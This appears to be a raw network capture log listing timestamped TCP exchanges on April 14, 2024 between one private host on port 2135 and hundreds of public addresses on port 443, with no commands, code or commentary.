Apr 14, 2024 03:59:52.061660051 CEST	443	2135	210.172.134.54	192.168.2.23
Apr 14, 2024 03:59:52.061656952 CEST	2135	443	192.168.2.23	202.93.33.193
Apr 14, 2024 03:59:52.061656952 CEST	2135	443	192.168.2.23	148.177.25.119
Apr 14, 2024 03:59:52.061662912 CEST	443	2135	148.64.30.141	192.168.2.23
Apr 14, 2024 03:59:52.061665058 CEST	443	2135	5.0.33.114	192.168.2.23
Apr 14, 2024 03:59:52.061665058 CEST	443	2135	202.228.180.32	192.168.2.23
Apr 14, 2024 03:59:52.061667919 CEST	443	2135	117.130.156.153	192.168.2.23
Apr 14, 2024 03:59:52.061669111 CEST	2135	443	192.168.2.23	109.28.101.232
Apr 14, 2024 03:59:52.061671019 CEST	443	2135	37.101.18.178	192.168.2.23
Apr 14, 2024 03:59:52.061674118 CEST	2135	443	192.168.2.23	37.31.71.26
Apr 14, 2024 03:59:52.061675072 CEST	2135	443	192.168.2.23	94.118.102.228
Apr 14, 2024 03:59:52.061675072 CEST	443	2135	178.2.225.10	192.168.2.23
Apr 14, 2024 03:59:52.061676025 CEST	443	2135	123.180.254.252	192.168.2.23
Apr 14, 2024 03:59:52.061677933 CEST	443	2135	109.28.101.232	192.168.2.23
Apr 14, 2024 03:59:52.061681032 CEST	443	2135	79.85.229.223	192.168.2.23
Apr 14, 2024 03:59:52.061681986 CEST	443	2135	37.31.71.26	192.168.2.23
Apr 14, 2024 03:59:52.061682940 CEST	2135	443	192.168.2.23	118.134.88.67
Apr 14, 2024 03:59:52.061682940 CEST	2135	443	192.168.2.23	210.172.134.54
Apr 14, 2024 03:59:52.061685085 CEST	2135	443	192.168.2.23	42.38.151.52
Apr 14, 2024 03:59:52.061685085 CEST	443	2135	5.71.30.180	192.168.2.23
Apr 14, 2024 03:59:52.061686039 CEST	443	2135	210.102.48.70	192.168.2.23
Apr 14, 2024 03:59:52.061687946 CEST	2135	443	192.168.2.23	118.122.4.220
Apr 14, 2024 03:59:52.061687946 CEST	2135	443	192.168.2.23	37.170.130.53
Apr 14, 2024 03:59:52.061687946 CEST	2135	443	192.168.2.23	79.159.111.51
Apr 14, 2024 03:59:52.061687946 CEST	2135	443	192.168.2.23	202.228.180.32
Apr 14, 2024 03:59:52.061691999 CEST	443	2135	210.104.185.51	192.168.2.23
Apr 14, 2024 03:59:52.061692953 CEST	2135	443	192.168.2.23	79.82.24.19
Apr 14, 2024 03:59:52.061692953 CEST	2135	443	192.168.2.23	94.72.200.35
Apr 14, 2024 03:59:52.061692953 CEST	2135	443	192.168.2.23	212.117.35.40
Apr 14, 2024 03:59:52.061693907 CEST	2135	443	192.168.2.23	5.0.33.114
Apr 14, 2024 03:59:52.061692953 CEST	2135	443	192.168.2.23	210.162.98.1
Apr 14, 2024 03:59:52.061702013 CEST	443	2135	118.122.4.220	192.168.2.23
Apr 14, 2024 03:59:52.061702013 CEST	2135	443	192.168.2.23	148.64.30.141
Apr 14, 2024 03:59:52.061702013 CEST	2135	443	192.168.2.23	109.233.202.196
Apr 14, 2024 03:59:52.061702967 CEST	443	2135	202.93.33.193	192.168.2.23
Apr 14, 2024 03:59:52.061702967 CEST	2135	443	192.168.2.23	109.38.213.252
Apr 14, 2024 03:59:52.061706066 CEST	443	2135	94.72.200.35	192.168.2.23
Apr 14, 2024 03:59:52.061711073 CEST	2135	443	192.168.2.23	109.28.101.232
Apr 14, 2024 03:59:52.061713934 CEST	443	2135	37.170.130.53	192.168.2.23
Apr 14, 2024 03:59:52.061714888 CEST	443	2135	148.177.25.119	192.168.2.23
Apr 14, 2024 03:59:52.061717987 CEST	443	2135	212.117.35.40	192.168.2.23
Apr 14, 2024 03:59:52.061721087 CEST	2135	443	192.168.2.23	117.130.156.153
Apr 14, 2024 03:59:52.061721087 CEST	2135	443	192.168.2.23	123.180.254.252
Apr 14, 2024 03:59:52.061728954 CEST	2135	443	192.168.2.23	37.101.18.178
Apr 14, 2024 03:59:52.061729908 CEST	2135	443	192.168.2.23	37.31.71.26
Apr 14, 2024 03:59:52.061732054 CEST	443	2135	210.162.98.1	192.168.2.23
Apr 14, 2024 03:59:52.061732054 CEST	2135	443	192.168.2.23	5.71.30.180
Apr 14, 2024 03:59:52.061737061 CEST	2135	443	192.168.2.23	178.239.165.235
Apr 14, 2024 03:59:52.061737061 CEST	2135	443	192.168.2.23	109.110.57.137
Apr 14, 2024 03:59:52.061737061 CEST	2135	443	192.168.2.23	178.2.225.10
Apr 14, 2024 03:59:52.061737061 CEST	2135	443	192.168.2.23	79.85.229.223
Apr 14, 2024 03:59:52.061737061 CEST	2135	443	192.168.2.23	210.102.48.70
Apr 14, 2024 03:59:52.061737061 CEST	2135	443	192.168.2.23	210.104.185.51
Apr 14, 2024 03:59:52.061737061 CEST	2135	443	192.168.2.23	202.93.33.193
Apr 14, 2024 03:59:52.061742067 CEST	2135	443	192.168.2.23	37.170.130.53
Apr 14, 2024 03:59:52.061744928 CEST	2135	443	192.168.2.23	94.72.200.35
Apr 14, 2024 03:59:52.061752081 CEST	2135	443	192.168.2.23	118.122.4.220
Apr 14, 2024 03:59:52.061753988 CEST	2135	443	192.168.2.23	212.117.35.40
Apr 14, 2024 03:59:52.061758995 CEST	2135	443	192.168.2.23	148.177.25.119
Apr 14, 2024 03:59:52.061762094 CEST	2135	443	192.168.2.23	117.8.89.182
Apr 14, 2024 03:59:52.061763048 CEST	2135	443	192.168.2.23	210.162.98.1
Apr 14, 2024 03:59:52.061769962 CEST	443	2135	117.8.89.182	192.168.2.23
Apr 14, 2024 03:59:52.061777115 CEST	2135	443	192.168.2.23	212.195.164.223
Apr 14, 2024 03:59:52.061778069 CEST	2135	443	192.168.2.23	117.20.187.175
Apr 14, 2024 03:59:52.061781883 CEST	2135	443	192.168.2.23	79.206.60.34
Apr 14, 2024 03:59:52.061783075 CEST	443	2135	117.20.187.175	192.168.2.23
Apr 14, 2024 03:59:52.061783075 CEST	443	2135	212.195.164.223	192.168.2.23
Apr 14, 2024 03:59:52.061790943 CEST	443	2135	79.206.60.34	192.168.2.23
Apr 14, 2024 03:59:52.061794043 CEST	2135	443	192.168.2.23	202.140.226.67
Apr 14, 2024 03:59:52.061795950 CEST	2135	443	192.168.2.23	117.8.89.182
Apr 14, 2024 03:59:52.061798096 CEST	2135	443	192.168.2.23	118.60.180.74
Apr 14, 2024 03:59:52.061800003 CEST	443	2135	202.140.226.67	192.168.2.23
Apr 14, 2024 03:59:52.061804056 CEST	2135	443	192.168.2.23	148.10.120.153
Apr 14, 2024 03:59:52.061805964 CEST	443	2135	118.60.180.74	192.168.2.23
Apr 14, 2024 03:59:52.061815023 CEST	443	2135	148.10.120.153	192.168.2.23
Apr 14, 2024 03:59:52.061815023 CEST	2135	443	192.168.2.23	178.174.225.52
Apr 14, 2024 03:59:52.061820030 CEST	2135	443	192.168.2.23	79.206.60.34
Apr 14, 2024 03:59:52.061820030 CEST	2135	443	192.168.2.23	117.20.187.175
Apr 14, 2024 03:59:52.061821938 CEST	2135	443	192.168.2.23	212.195.164.223
Apr 14, 2024 03:59:52.061822891 CEST	2135	443	192.168.2.23	202.140.226.67
Apr 14, 2024 03:59:52.061826944 CEST	443	2135	178.174.225.52	192.168.2.23
Apr 14, 2024 03:59:52.061830997 CEST	2135	443	192.168.2.23	118.60.180.74
Apr 14, 2024 03:59:52.061841965 CEST	2135	443	192.168.2.23	148.10.120.153
Apr 14, 2024 03:59:52.061849117 CEST	2135	443	192.168.2.23	79.88.189.17
Apr 14, 2024 03:59:52.061853886 CEST	443	2135	79.88.189.17	192.168.2.23
Apr 14, 2024 03:59:52.061858892 CEST	2135	443	192.168.2.23	178.174.225.52
Apr 14, 2024 03:59:52.061867952 CEST	2135	443	192.168.2.23	118.247.128.201
Apr 14, 2024 03:59:52.061873913 CEST	443	2135	118.247.128.201	192.168.2.23
Apr 14, 2024 03:59:52.061932087 CEST	2135	443	192.168.2.23	79.88.189.17
Apr 14, 2024 03:59:52.061933041 CEST	2135	443	192.168.2.23	109.83.121.34
Apr 14, 2024 03:59:52.061944008 CEST	2135	443	192.168.2.23	2.18.39.255
Apr 14, 2024 03:59:52.061945915 CEST	443	2135	109.83.121.34	192.168.2.23
Apr 14, 2024 03:59:52.061948061 CEST	2135	443	192.168.2.23	118.247.128.201
Apr 14, 2024 03:59:52.061948061 CEST	2135	443	192.168.2.23	118.213.93.190
Apr 14, 2024 03:59:52.061948061 CEST	2135	443	192.168.2.23	5.195.188.71
Apr 14, 2024 03:59:52.061948061 CEST	2135	443	192.168.2.23	94.62.55.211
Apr 14, 2024 03:59:52.061949015 CEST	443	2135	2.18.39.255	192.168.2.23
Apr 14, 2024 03:59:52.061948061 CEST	2135	443	192.168.2.23	42.131.16.52
Apr 14, 2024 03:59:52.061949015 CEST	2135	443	192.168.2.23	118.237.155.147
Apr 14, 2024 03:59:52.061949015 CEST	2135	443	192.168.2.23	42.158.228.93
Apr 14, 2024 03:59:52.061950922 CEST	2135	443	192.168.2.23	37.254.154.26
Apr 14, 2024 03:59:52.061950922 CEST	2135	443	192.168.2.23	5.31.70.1
Apr 14, 2024 03:59:52.061954975 CEST	443	2135	118.213.93.190	192.168.2.23
Apr 14, 2024 03:59:52.061958075 CEST	2135	443	192.168.2.23	210.205.250.113
Apr 14, 2024 03:59:52.061958075 CEST	2135	443	192.168.2.23	37.185.105.240
Apr 14, 2024 03:59:52.061958075 CEST	2135	443	192.168.2.23	94.174.226.41
Apr 14, 2024 03:59:52.061960936 CEST	443	2135	5.195.188.71	192.168.2.23
Apr 14, 2024 03:59:52.061961889 CEST	2135	443	192.168.2.23	148.238.169.251
Apr 14, 2024 03:59:52.061961889 CEST	443	2135	118.237.155.147	192.168.2.23
Apr 14, 2024 03:59:52.061956882 CEST	2135	443	192.168.2.23	117.223.215.69
Apr 14, 2024 03:59:52.061956882 CEST	2135	443	192.168.2.23	109.186.185.211
Apr 14, 2024 03:59:52.061968088 CEST	443	2135	210.205.250.113	192.168.2.23
Apr 14, 2024 03:59:52.061969042 CEST	443	2135	148.238.169.251	192.168.2.23
Apr 14, 2024 03:59:52.061969995 CEST	443	2135	37.254.154.26	192.168.2.23
Apr 14, 2024 03:59:52.061969995 CEST	2135	443	192.168.2.23	5.225.205.223
Apr 14, 2024 03:59:52.061969995 CEST	2135	443	192.168.2.23	212.243.66.65
Apr 14, 2024 03:59:52.061974049 CEST	443	2135	94.62.55.211	192.168.2.23
Apr 14, 2024 03:59:52.061975002 CEST	443	2135	42.158.228.93	192.168.2.23
Apr 14, 2024 03:59:52.061975002 CEST	443	2135	117.223.215.69	192.168.2.23
Apr 14, 2024 03:59:52.061979055 CEST	443	2135	109.186.185.211	192.168.2.23
Apr 14, 2024 03:59:52.061979055 CEST	443	2135	37.185.105.240	192.168.2.23
Apr 14, 2024 03:59:52.061980009 CEST	2135	443	192.168.2.23	5.220.208.120
Apr 14, 2024 03:59:52.061980009 CEST	443	2135	5.225.205.223	192.168.2.23
Apr 14, 2024 03:59:52.061980963 CEST	2135	443	192.168.2.23	109.184.62.208
Apr 14, 2024 03:59:52.061983109 CEST	443	2135	42.131.16.52	192.168.2.23
Apr 14, 2024 03:59:52.061985016 CEST	2135	443	192.168.2.23	2.18.39.255
Apr 14, 2024 03:59:52.061980963 CEST	2135	443	192.168.2.23	178.20.237.130
Apr 14, 2024 03:59:52.061985970 CEST	443	2135	5.31.70.1	192.168.2.23
Apr 14, 2024 03:59:52.061980963 CEST	2135	443	192.168.2.23	79.169.44.24
Apr 14, 2024 03:59:52.061990023 CEST	443	2135	94.174.226.41	192.168.2.23
Apr 14, 2024 03:59:52.061990976 CEST	443	2135	5.220.208.120	192.168.2.23
Apr 14, 2024 03:59:52.061991930 CEST	2135	443	192.168.2.23	118.167.118.57
Apr 14, 2024 03:59:52.061991930 CEST	2135	443	192.168.2.23	109.83.121.34
Apr 14, 2024 03:59:52.061995029 CEST	443	2135	109.184.62.208	192.168.2.23
Apr 14, 2024 03:59:52.061995029 CEST	2135	443	192.168.2.23	118.213.93.190
Apr 14, 2024 03:59:52.061995029 CEST	2135	443	192.168.2.23	148.238.169.251
Apr 14, 2024 03:59:52.061995029 CEST	2135	443	192.168.2.23	118.229.170.100
Apr 14, 2024 03:59:52.061995983 CEST	2135	443	192.168.2.23	5.193.21.15
Apr 14, 2024 03:59:52.061995983 CEST	2135	443	192.168.2.23	5.193.67.134
Apr 14, 2024 03:59:52.061999083 CEST	443	2135	178.20.237.130	192.168.2.23
Apr 14, 2024 03:59:52.062002897 CEST	443	2135	118.167.118.57	192.168.2.23
Apr 14, 2024 03:59:52.062002897 CEST	443	2135	212.243.66.65	192.168.2.23
Apr 14, 2024 03:59:52.062004089 CEST	2135	443	192.168.2.23	2.6.11.184
Apr 14, 2024 03:59:52.062004089 CEST	2135	443	192.168.2.23	117.225.232.124
Apr 14, 2024 03:59:52.062004089 CEST	2135	443	192.168.2.23	2.234.186.232
Apr 14, 2024 03:59:52.062004089 CEST	2135	443	192.168.2.23	117.75.214.222
Apr 14, 2024 03:59:52.062004089 CEST	2135	443	192.168.2.23	37.51.164.4
Apr 14, 2024 03:59:52.062005043 CEST	2135	443	192.168.2.23	210.166.78.155
Apr 14, 2024 03:59:52.062004089 CEST	2135	443	192.168.2.23	94.227.247.25
Apr 14, 2024 03:59:52.062005043 CEST	2135	443	192.168.2.23	2.192.181.92
Apr 14, 2024 03:59:52.062005043 CEST	2135	443	192.168.2.23	37.254.154.26
Apr 14, 2024 03:59:52.062005997 CEST	443	2135	118.229.170.100	192.168.2.23
Apr 14, 2024 03:59:52.062007904 CEST	443	2135	79.169.44.24	192.168.2.23
Apr 14, 2024 03:59:52.062011003 CEST	2135	443	192.168.2.23	37.185.105.240
Apr 14, 2024 03:59:52.062011003 CEST	2135	443	192.168.2.23	210.205.250.113
Apr 14, 2024 03:59:52.062016010 CEST	443	2135	5.193.21.15	192.168.2.23
Apr 14, 2024 03:59:52.062016964 CEST	443	2135	117.75.214.222	192.168.2.23
Apr 14, 2024 03:59:52.062016964 CEST	2135	443	192.168.2.23	117.223.215.69
Apr 14, 2024 03:59:52.062019110 CEST	2135	443	192.168.2.23	118.58.17.138
Apr 14, 2024 03:59:52.062019110 CEST	2135	443	192.168.2.23	5.195.188.71
Apr 14, 2024 03:59:52.062019110 CEST	2135	443	192.168.2.23	94.62.55.211
Apr 14, 2024 03:59:52.062019110 CEST	2135	443	192.168.2.23	42.131.16.52
Apr 14, 2024 03:59:52.062021017 CEST	443	2135	5.193.67.134	192.168.2.23
Apr 14, 2024 03:59:52.062027931 CEST	2135	443	192.168.2.23	118.237.155.147
Apr 14, 2024 03:59:52.062028885 CEST	443	2135	118.58.17.138	192.168.2.23
Apr 14, 2024 03:59:52.062031031 CEST	2135	443	192.168.2.23	212.243.66.65
Apr 14, 2024 03:59:52.062027931 CEST	443	2135	2.6.11.184	192.168.2.23
Apr 14, 2024 03:59:52.062027931 CEST	2135	443	192.168.2.23	42.158.228.93
Apr 14, 2024 03:59:52.062028885 CEST	2135	443	192.168.2.23	109.186.185.211
Apr 14, 2024 03:59:52.062031031 CEST	2135	443	192.168.2.23	5.225.205.223
Apr 14, 2024 03:59:52.062031031 CEST	2135	443	192.168.2.23	94.174.226.41
Apr 14, 2024 03:59:52.062031984 CEST	2135	443	192.168.2.23	5.220.208.120
Apr 14, 2024 03:59:52.062038898 CEST	443	2135	2.192.181.92	192.168.2.23
Apr 14, 2024 03:59:52.062041044 CEST	443	2135	210.166.78.155	192.168.2.23
Apr 14, 2024 03:59:52.062045097 CEST	2135	443	192.168.2.23	5.193.67.134
Apr 14, 2024 03:59:52.062045097 CEST	2135	443	192.168.2.23	118.229.170.100
Apr 14, 2024 03:59:52.062047005 CEST	443	2135	117.225.232.124	192.168.2.23
Apr 14, 2024 03:59:52.062048912 CEST	2135	443	192.168.2.23	178.20.237.130
Apr 14, 2024 03:59:52.062048912 CEST	2135	443	192.168.2.23	5.31.70.1
Apr 14, 2024 03:59:52.062048912 CEST	2135	443	192.168.2.23	109.184.62.208
Apr 14, 2024 03:59:52.062057972 CEST	443	2135	2.234.186.232	192.168.2.23
Apr 14, 2024 03:59:52.062058926 CEST	2135	443	192.168.2.23	118.167.118.57
Apr 14, 2024 03:59:52.062057972 CEST	2135	443	192.168.2.23	117.217.32.169
Apr 14, 2024 03:59:52.062061071 CEST	2135	443	192.168.2.23	5.193.21.15
Apr 14, 2024 03:59:52.062066078 CEST	443	2135	117.217.32.169	192.168.2.23
Apr 14, 2024 03:59:52.062067032 CEST	2135	443	192.168.2.23	117.75.214.222
Apr 14, 2024 03:59:52.062067032 CEST	2135	443	192.168.2.23	79.169.44.24
Apr 14, 2024 03:59:52.062067032 CEST	2135	443	192.168.2.23	2.192.181.92
Apr 14, 2024 03:59:52.062067986 CEST	2135	443	192.168.2.23	118.58.17.138
Apr 14, 2024 03:59:52.062067032 CEST	2135	443	192.168.2.23	210.166.78.155
Apr 14, 2024 03:59:52.062072992 CEST	443	2135	37.51.164.4	192.168.2.23
Apr 14, 2024 03:59:52.062076092 CEST	443	2135	94.227.247.25	192.168.2.23
Apr 14, 2024 03:59:52.062096119 CEST	2135	443	192.168.2.23	123.84.242.36
Apr 14, 2024 03:59:52.062096119 CEST	2135	443	192.168.2.23	2.6.11.184
Apr 14, 2024 03:59:52.062096119 CEST	2135	443	192.168.2.23	117.225.232.124
Apr 14, 2024 03:59:52.062096119 CEST	2135	443	192.168.2.23	94.244.226.113
Apr 14, 2024 03:59:52.062096119 CEST	2135	443	192.168.2.23	2.234.186.232
Apr 14, 2024 03:59:52.062099934 CEST	2135	443	192.168.2.23	117.217.32.169
Apr 14, 2024 03:59:52.062108994 CEST	443	2135	123.84.242.36	192.168.2.23
Apr 14, 2024 03:59:52.062114954 CEST	2135	443	192.168.2.23	118.168.199.65
Apr 14, 2024 03:59:52.062119007 CEST	2135	443	192.168.2.23	117.10.64.196
Apr 14, 2024 03:59:52.062120914 CEST	443	2135	118.168.199.65	192.168.2.23
Apr 14, 2024 03:59:52.062123060 CEST	443	2135	94.244.226.113	192.168.2.23
Apr 14, 2024 03:59:52.062127113 CEST	443	2135	117.10.64.196	192.168.2.23
Apr 14, 2024 03:59:52.062138081 CEST	2135	443	192.168.2.23	37.51.164.4
Apr 14, 2024 03:59:52.062138081 CEST	2135	443	192.168.2.23	94.227.247.25
Apr 14, 2024 03:59:52.062138081 CEST	2135	443	192.168.2.23	123.84.242.36
Apr 14, 2024 03:59:52.062139988 CEST	2135	443	192.168.2.23	94.120.49.126
Apr 14, 2024 03:59:52.062146902 CEST	443	2135	94.120.49.126	192.168.2.23
Apr 14, 2024 03:59:52.062149048 CEST	2135	443	192.168.2.23	118.168.199.65
Apr 14, 2024 03:59:52.062150002 CEST	2135	443	192.168.2.23	94.244.226.113
Apr 14, 2024 03:59:52.062158108 CEST	2135	443	192.168.2.23	178.7.131.1
Apr 14, 2024 03:59:52.062159061 CEST	2135	443	192.168.2.23	117.10.64.196
Apr 14, 2024 03:59:52.062166929 CEST	443	2135	178.7.131.1	192.168.2.23
Apr 14, 2024 03:59:52.062167883 CEST	2135	443	192.168.2.23	94.38.226.172
Apr 14, 2024 03:59:52.062177896 CEST	443	2135	94.38.226.172	192.168.2.23
Apr 14, 2024 03:59:52.062187910 CEST	2135	443	192.168.2.23	148.246.7.212
Apr 14, 2024 03:59:52.062191010 CEST	2135	443	192.168.2.23	94.120.49.126
Apr 14, 2024 03:59:52.062194109 CEST	2135	443	192.168.2.23	178.7.131.1
Apr 14, 2024 03:59:52.062195063 CEST	443	2135	148.246.7.212	192.168.2.23
Apr 14, 2024 03:59:52.062206984 CEST	2135	443	192.168.2.23	210.71.0.13
Apr 14, 2024 03:59:52.062206984 CEST	2135	443	192.168.2.23	94.38.226.172
Apr 14, 2024 03:59:52.062210083 CEST	2135	443	192.168.2.23	109.231.195.15
Apr 14, 2024 03:59:52.062216043 CEST	443	2135	210.71.0.13	192.168.2.23
Apr 14, 2024 03:59:52.062216043 CEST	443	2135	109.231.195.15	192.168.2.23
Apr 14, 2024 03:59:52.062222958 CEST	2135	443	192.168.2.23	212.56.191.207
Apr 14, 2024 03:59:52.062223911 CEST	2135	443	192.168.2.23	148.246.7.212
Apr 14, 2024 03:59:52.062223911 CEST	2135	443	192.168.2.23	109.247.193.200
Apr 14, 2024 03:59:52.062231064 CEST	443	2135	212.56.191.207	192.168.2.23
Apr 14, 2024 03:59:52.062233925 CEST	443	2135	109.247.193.200	192.168.2.23
Apr 14, 2024 03:59:52.062303066 CEST	2135	443	192.168.2.23	109.231.195.15
Apr 14, 2024 03:59:52.062311888 CEST	2135	443	192.168.2.23	202.177.70.115
Apr 14, 2024 03:59:52.062313080 CEST	2135	443	192.168.2.23	212.75.109.45
Apr 14, 2024 03:59:52.062314034 CEST	2135	443	192.168.2.23	42.23.248.86
Apr 14, 2024 03:59:52.062314034 CEST	2135	443	192.168.2.23	94.55.252.193
Apr 14, 2024 03:59:52.062320948 CEST	2135	443	192.168.2.23	109.201.200.88
Apr 14, 2024 03:59:52.062321901 CEST	443	2135	94.55.252.193	192.168.2.23
Apr 14, 2024 03:59:52.062323093 CEST	443	2135	212.75.109.45	192.168.2.23
Apr 14, 2024 03:59:52.062323093 CEST	443	2135	202.177.70.115	192.168.2.23
Apr 14, 2024 03:59:52.062325001 CEST	2135	443	192.168.2.23	178.246.206.87
Apr 14, 2024 03:59:52.062326908 CEST	443	2135	42.23.248.86	192.168.2.23
Apr 14, 2024 03:59:52.062330961 CEST	443	2135	109.201.200.88	192.168.2.23
Apr 14, 2024 03:59:52.062333107 CEST	443	2135	178.246.206.87	192.168.2.23
Apr 14, 2024 03:59:52.062334061 CEST	2135	443	192.168.2.23	210.71.0.13
Apr 14, 2024 03:59:52.062336922 CEST	2135	443	192.168.2.23	109.247.193.200
Apr 14, 2024 03:59:52.062340975 CEST	2135	443	192.168.2.23	212.56.191.207
Apr 14, 2024 03:59:52.062341928 CEST	2135	443	192.168.2.23	109.51.28.123
Apr 14, 2024 03:59:52.062340975 CEST	2135	443	192.168.2.23	202.236.164.55
Apr 14, 2024 03:59:52.062340975 CEST	2135	443	192.168.2.23	212.246.85.94
Apr 14, 2024 03:59:52.062350035 CEST	443	2135	109.51.28.123	192.168.2.23
Apr 14, 2024 03:59:52.062350988 CEST	2135	443	192.168.2.23	210.130.17.134
Apr 14, 2024 03:59:52.062350988 CEST	2135	443	192.168.2.23	37.176.7.88
Apr 14, 2024 03:59:52.062350988 CEST	2135	443	192.168.2.23	202.177.70.115
Apr 14, 2024 03:59:52.062355042 CEST	443	2135	202.236.164.55	192.168.2.23
Apr 14, 2024 03:59:52.062359095 CEST	443	2135	210.130.17.134	192.168.2.23
Apr 14, 2024 03:59:52.062360048 CEST	443	2135	37.176.7.88	192.168.2.23
Apr 14, 2024 03:59:52.062360048 CEST	2135	443	192.168.2.23	212.75.109.45
Apr 14, 2024 03:59:52.062361956 CEST	2135	443	192.168.2.23	109.201.200.88
Apr 14, 2024 03:59:52.062365055 CEST	2135	443	192.168.2.23	178.246.206.87
Apr 14, 2024 03:59:52.062371016 CEST	443	2135	212.246.85.94	192.168.2.23
Apr 14, 2024 03:59:52.062371969 CEST	2135	443	192.168.2.23	94.55.252.193
Apr 14, 2024 03:59:52.062371969 CEST	2135	443	192.168.2.23	210.234.106.9
Apr 14, 2024 03:59:52.062375069 CEST	2135	443	192.168.2.23	109.51.28.123
Apr 14, 2024 03:59:52.062376022 CEST	2135	443	192.168.2.23	118.231.194.72
Apr 14, 2024 03:59:52.062376976 CEST	2135	443	192.168.2.23	2.131.32.68
Apr 14, 2024 03:59:52.062380075 CEST	443	2135	210.234.106.9	192.168.2.23
Apr 14, 2024 03:59:52.062383890 CEST	2135	443	192.168.2.23	42.23.248.86
Apr 14, 2024 03:59:52.062383890 CEST	2135	443	192.168.2.23	202.236.164.55
Apr 14, 2024 03:59:52.062386036 CEST	443	2135	118.231.194.72	192.168.2.23
Apr 14, 2024 03:59:52.062387943 CEST	443	2135	2.131.32.68	192.168.2.23
Apr 14, 2024 03:59:52.062391043 CEST	2135	443	192.168.2.23	210.130.17.134
Apr 14, 2024 03:59:52.062391996 CEST	2135	443	192.168.2.23	210.79.98.56
Apr 14, 2024 03:59:52.062391996 CEST	2135	443	192.168.2.23	37.176.7.88
Apr 14, 2024 03:59:52.062395096 CEST	2135	443	192.168.2.23	212.68.149.55
Apr 14, 2024 03:59:52.062397003 CEST	2135	443	192.168.2.23	212.75.168.67
Apr 14, 2024 03:59:52.062397003 CEST	2135	443	192.168.2.23	212.246.85.94
Apr 14, 2024 03:59:52.062398911 CEST	443	2135	210.79.98.56	192.168.2.23
Apr 14, 2024 03:59:52.062401056 CEST	443	2135	212.68.149.55	192.168.2.23
Apr 14, 2024 03:59:52.062402964 CEST	2135	443	192.168.2.23	210.234.106.9
Apr 14, 2024 03:59:52.062405109 CEST	443	2135	212.75.168.67	192.168.2.23
Apr 14, 2024 03:59:52.062412977 CEST	2135	443	192.168.2.23	2.131.32.68
Apr 14, 2024 03:59:52.062418938 CEST	2135	443	192.168.2.23	118.231.194.72
Apr 14, 2024 03:59:52.062429905 CEST	2135	443	192.168.2.23	212.68.149.55
Apr 14, 2024 03:59:52.062433958 CEST	2135	443	192.168.2.23	210.79.98.56
Apr 14, 2024 03:59:52.062437057 CEST	2135	443	192.168.2.23	212.75.168.67
Apr 14, 2024 03:59:52.062444925 CEST	2135	443	192.168.2.23	212.191.183.141
Apr 14, 2024 03:59:52.062448978 CEST	2135	443	192.168.2.23	94.162.152.55
Apr 14, 2024 03:59:52.062452078 CEST	443	2135	212.191.183.141	192.168.2.23
Apr 14, 2024 03:59:52.062457085 CEST	443	2135	94.162.152.55	192.168.2.23
Apr 14, 2024 03:59:52.062458038 CEST	2135	443	192.168.2.23	178.144.115.139
Apr 14, 2024 03:59:52.062463045 CEST	2135	443	192.168.2.23	37.218.33.98
Apr 14, 2024 03:59:52.062465906 CEST	443	2135	178.144.115.139	192.168.2.23
Apr 14, 2024 03:59:52.062472105 CEST	443	2135	37.218.33.98	192.168.2.23
Apr 14, 2024 03:59:52.062477112 CEST	2135	443	192.168.2.23	202.158.239.164
Apr 14, 2024 03:59:52.062477112 CEST	2135	443	192.168.2.23	118.118.243.169
Apr 14, 2024 03:59:52.062479019 CEST	2135	443	192.168.2.23	212.191.183.141
Apr 14, 2024 03:59:52.062484980 CEST	443	2135	118.118.243.169	192.168.2.23
Apr 14, 2024 03:59:52.062484980 CEST	443	2135	202.158.239.164	192.168.2.23
Apr 14, 2024 03:59:52.062485933 CEST	2135	443	192.168.2.23	94.162.152.55
Apr 14, 2024 03:59:52.062488079 CEST	2135	443	192.168.2.23	178.144.115.139
Apr 14, 2024 03:59:52.062505960 CEST	2135	443	192.168.2.23	37.218.33.98
Apr 14, 2024 03:59:52.062508106 CEST	2135	443	192.168.2.23	79.72.207.22
Apr 14, 2024 03:59:52.062509060 CEST	2135	443	192.168.2.23	2.204.140.140
Apr 14, 2024 03:59:52.062509060 CEST	2135	443	192.168.2.23	5.210.116.197
Apr 14, 2024 03:59:52.062515020 CEST	443	2135	2.204.140.140	192.168.2.23
Apr 14, 2024 03:59:52.062517881 CEST	443	2135	5.210.116.197	192.168.2.23
Apr 14, 2024 03:59:52.062517881 CEST	443	2135	79.72.207.22	192.168.2.23
Apr 14, 2024 03:59:52.062525988 CEST	2135	443	192.168.2.23	118.118.243.169
Apr 14, 2024 03:59:52.062534094 CEST	2135	443	192.168.2.23	202.158.239.164
Apr 14, 2024 03:59:52.062594891 CEST	2135	443	192.168.2.23	118.18.110.5
Apr 14, 2024 03:59:52.062594891 CEST	2135	443	192.168.2.23	37.47.157.51
Apr 14, 2024 03:59:52.062596083 CEST	2135	443	192.168.2.23	210.89.46.109
Apr 14, 2024 03:59:52.062597990 CEST	2135	443	192.168.2.23	178.57.113.72
Apr 14, 2024 03:59:52.062597990 CEST	2135	443	192.168.2.23	2.204.140.140
Apr 14, 2024 03:59:52.062598944 CEST	2135	443	192.168.2.23	178.57.62.16
Apr 14, 2024 03:59:52.062599897 CEST	2135	443	192.168.2.23	5.113.159.46
Apr 14, 2024 03:59:52.062599897 CEST	2135	443	192.168.2.23	123.220.133.35
Apr 14, 2024 03:59:52.062601089 CEST	2135	443	192.168.2.23	42.53.133.146
Apr 14, 2024 03:59:52.062602043 CEST	2135	443	192.168.2.23	79.181.181.137
Apr 14, 2024 03:59:52.062603951 CEST	443	2135	178.57.113.72	192.168.2.23
Apr 14, 2024 03:59:52.062604904 CEST	443	2135	178.57.62.16	192.168.2.23
Apr 14, 2024 03:59:52.062609911 CEST	443	2135	118.18.110.5	192.168.2.23
Apr 14, 2024 03:59:52.062609911 CEST	443	2135	37.47.157.51	192.168.2.23
Apr 14, 2024 03:59:52.062608957 CEST	443	2135	42.53.133.146	192.168.2.23
Apr 14, 2024 03:59:52.062617064 CEST	443	2135	5.113.159.46	192.168.2.23
Apr 14, 2024 03:59:52.062617064 CEST	2135	443	192.168.2.23	148.18.66.143
Apr 14, 2024 03:59:52.062617064 CEST	2135	443	192.168.2.23	178.47.132.251
Apr 14, 2024 03:59:52.062617064 CEST	2135	443	192.168.2.23	202.77.232.150
Apr 14, 2024 03:59:52.062617064 CEST	2135	443	192.168.2.23	79.156.37.111
Apr 14, 2024 03:59:52.062618017 CEST	443	2135	79.181.181.137	192.168.2.23
Apr 14, 2024 03:59:52.062617064 CEST	2135	443	192.168.2.23	178.174.220.220
Apr 14, 2024 03:59:52.062617064 CEST	2135	443	192.168.2.23	123.214.46.61
Apr 14, 2024 03:59:52.062619925 CEST	2135	443	192.168.2.23	148.227.138.206
